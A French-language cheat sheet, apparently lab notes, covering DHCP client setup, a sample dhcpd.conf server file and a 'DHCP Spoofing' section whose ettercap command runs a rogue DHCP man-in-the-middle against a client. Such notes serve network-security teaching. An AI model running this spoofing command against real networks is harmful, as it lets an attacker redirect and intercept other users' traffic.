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Configuration IP des ClientsConfiguration IP des Clients

Dans l'interface "network", ajouter:
auto eth0
iface eth0 inet dhcp

ifdown eth0 && ifup eth0

Fichier de configuration DHCPFichier de configuration DHCP

Chemin : /etc/dhcp/dhcpd.conf
exemple :
default-lease-time 600;
min-lease-time 300;
max-lease-time 7200;
subnet 192.168.10.0 netmask 255.255.255.0 {
  range 192.168.10.100 192.168.10.150;
  host my_server {
    hardware ethernet a0:00:01:02:03:04;
    fixed-address 192.168.10.200;
  }
  option routers 192.168.10.1;
}

/var/lib/dhcp/dhcpd.leases contient les baux accordés

 

Attaque DHCP SpoofingAttaque DHCP Spoofing

Relâcher la configuration
réseau

dhclient -r <iface>

Démarre l'interface en mode
débug

dhclient -d <iface>

Lancer l’attaque DHCP
Spoofing sur client2

ettercap -Tzq -M dhcp:/255.255.2‐
55.0/<IP_DHCP1>

Activer le client DHCP sur
client1

dhclient eth0
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